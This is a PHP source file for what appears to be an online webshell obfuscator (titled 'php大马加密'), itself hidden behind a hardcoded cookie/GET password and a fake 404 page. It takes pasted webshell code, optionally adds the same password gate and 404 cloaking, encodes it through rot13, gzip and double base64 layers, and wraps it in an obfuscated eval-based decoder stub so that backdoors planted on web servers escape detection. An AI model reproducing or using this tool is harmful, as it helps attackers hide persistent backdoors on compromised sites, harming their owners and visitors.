<?php /*Code by 此题无解*/
set_time_limit(0);
//php 大马加密code by 此题无解
//使用eval函数，可以加密多行代码
$user='admin';$password='ctwj';

if (isset($_COOKIE[$user]) || @$_GET["ctwj"][$user] == $password){
	setcookie($user, $password, time()+3600);	
} else {
	Get404();
	die();	
}
function CheckExtents($extent) {
    $result = false;
    $extentArr = get_loaded_extensions();
    foreach($extentArr as $key=>$val) {
        if($val == $extent){
           $result = TRUE; 
        } else continue;
    }
    if ($result) {
        $value = "success";
    } else {
        $value = "error";
    }
    return $value;
}
function Get404(){
	if (CheckExtents("curl")=="error"){
		echo "<html><head><title>404</title></head><body></body></html>";
		return false;
	}
	$url=curPageURL();
	$url .= "_404.html";
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, false); 
	$out = curl_exec($ch);
	// echo $out.$out;
	curl_close($ch);
}
function curPageURL()
{
    $pageURL = "http";
    if (@$_SERVER["HTTPS"] == "on")
    {
        $pageURL .= "s";
    }
    $pageURL .= "://";
    if ($_SERVER["SERVER_PORT"] != "80")
    {
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    }
    else
    {
        $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
    }
    return $pageURL;
}

function encode_file_contents($content) {
	$contents = $content;
	$pos = strpos($contents,'/*Protected by 此题无解*/');
	if(false === $pos || $pos>100){ 
		$contents = gzcompress(str_rot13($contents));
		$encode = base64_encode(gzdeflate($contents));
		$encode = base64_encode(gzdeflate($encode));
		return $encode;
	} else {
		echo "<span style=color:red>此文件已经加密过了！</span>";
		return false;
	}
	return false;
}

function AddTwiceAuth($content,$username,$password){
$result = '$user="'.$username.'";$password="'.$password.'";';
$head_code=' if (isset($_COOKIE[$user]) || @$_GET["ctwj"][$user] == $password){ setcookie($user, $password, time()+3600); } else { Get404(); die(); }function CheckExtents($extent) {$result = false;$extentArr = get_loaded_extensions();foreach($extentArr as $key=>$val) { if($val == $extent){ $result = TRUE; } else continue; } if ($result) { $value = "success"; } else { $value = "error"; } return $value; } function Get404(){ if (CheckExtents("curl")=="error"){ echo ""; return false; } $url=curPageURL(); $url .= "_404.html"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); $out = curl_exec($ch); curl_close($ch); } function curPageURL() { $pageURL = "http"; if (@$_SERVER["HTTPS"] == "on") { $pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; } return $pageURL; }';
$result .= $head_code;
$result .=$content;
return $result;
}

function AddCopyRight($encode){
	$php_evil_head='global $Ž‘Œ…Ž—”’‰ˆ;if(!defined("No-answer")){define("No-answer",1393816036);function †‡›˜ƒ($š™€,$‡Ž=""){global $Ž‘Œ…Ž—”’‰ˆ;$†‡›˜ƒ=base64_decode($š™€);if(empty($š™€)) return "";if($‡Ž==""){return ~$†‡›˜ƒ;}else{$strlen=$Ž‘Œ…Ž—”’‰ˆ["strlen"]($†‡›˜ƒ);$‡Ž=$Ž‘Œ…Ž—”’‰ˆ["ŠŽ"]($‡Ž,$strlen,$‡Ž);return $†‡›˜ƒ^$‡Ž;}}}$Ž‘Œ…Ž—”’‰ˆ[""]=†‡›˜ƒ("nI2anouaoJmKkZyLlpCR","");$Ž‘Œ…Ž—”’‰ˆ["ŠŽ"]=†‡›˜ƒ("jIuNoI+˜emw==","");$Ž‘Œ…Ž—”’‰ˆ["†‡›˜ƒ"]=†‡›˜ƒ("mpKPi4Y=","");$Ž‘Œ…Ž—”’‰ˆ["strlen"]=†‡›˜ƒ("jIuNk5qR","");$Ž‘Œ…Ž—”’‰ˆ["Š‹“Š"]=†‡›˜ƒ("DgoQK€A0mWzsZUCQ5","ipeFnI6Kk5WJ");$Ž‘Œ…Ž—”’‰ˆ["„‹Š„"]=†‡›˜ƒ("DlUeI19ECAEIExYzCQ==","l4mFipWempyW");$Ž‘Œ…Ž—”’‰ˆ["…˜„"]=†‡›˜ƒ("C04EKA8cNhEI","l4mFipWempye");$Ž‘Œ…Ž—”’‰ˆ["‰šŠ”Œ"]=†‡›˜ƒ("CUIMKg==","l4mFipWempyf");$Ž‘Œ…Ž—”’‰ˆ["›‚•"] = †‡›˜ƒ("jIuNoI2Qi87M");$Ž‘Œ…Ž—”’‰ˆ["Š‹“Š"] = †‡›˜ƒ("VU4YKAofOhUfFQoV","24mFipWempyf");$‚ŒžŠ‰ = $Ž‘Œ…Ž—”’‰ˆ[""](';
	$php_evil_head .= '\'$šŠ”Œ–š–œ\', $Ž‘Œ…Ž—”’‰ˆ["‰šŠ”Œ"].\'($šŠ”Œ–š–œ);\');';
	$php_evil_head .= '$‚ŒžŠ‰($Ž‘Œ…Ž—”’‰ˆ["›‚•"]($Ž‘Œ…Ž—”’‰ˆ["Š‹“Š"]($Ž‘Œ…Ž—”’‰ˆ["…˜„"]($Ž‘Œ…Ž—”’‰ˆ["„‹Š„"]($Ž‘Œ…Ž—”’‰ˆ["…˜„"]($Ž‘Œ…Ž—”’‰ˆ["„‹Š„"]("';
	$php_evil_tail='")))))));';
	$cryptcode = "<?php /*Protected by 此题无解*/\n";
	$cryptcode .= $php_evil_head.$encode.$php_evil_tail;
	$cryptcode .= "\n /*Reverse engineering is illegal and strictly prohibited- (C)此题无解 Cryptation 2014*/ \n?>";
	return $cryptcode;
}





$html_head=<<<EOT
<!DOCTYPE html>
<html lang="en">
	<head>
		<title>此题无解PHP加密</title>
		<meta charset="UTF-8">
		<meta name=description content="">
		<meta name=viewport content="width=device-width, initial-scale=1">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
	</head>
	<body>
	<h1>php大马加密在线版 by <span style="color:green">此题无解</span></h1><hr>
	<p>去掉&lt;?php 和?&gt; 注意给代码加上@以防报错</p>
EOT;
$html_foot=<<<EOT
	</body>
</html>
EOT;

// echo "<pre>";print_r($_SERVER);
echo $html_head;
$h = $_SERVER[PHP_SELF];
if (isset($_POST['file'])) {
	$filename=$_POST['file'];
	// echo "Content:".$filename."<br>";
	if (isset($_POST['encrypt'])){
		$content = AddTwiceAuth($filename, $_POST['username'], $_POST['password']);
	} else $content = $filename;
	$result = encode_file_contents($content);
	if (false !== $result)echo "<textarea style=\"width:260;overflow-x:visible;overflow-y:visible;\">".AddCopyRight($result)."</textarea>";
} else {
	echo "<form action=$h method=post>输入内容:<textarea type=text name=file value=E:\phpsite\phpinfo.php></textarea>";
	echo "<br><input type=checkbox name=encrypt>添加验证";
	echo "username:<input type=text name=username>password:<input type=text name=password>";
	echo "<input type=submit value=encode></input></form>";
}
echo $html_foot;
?>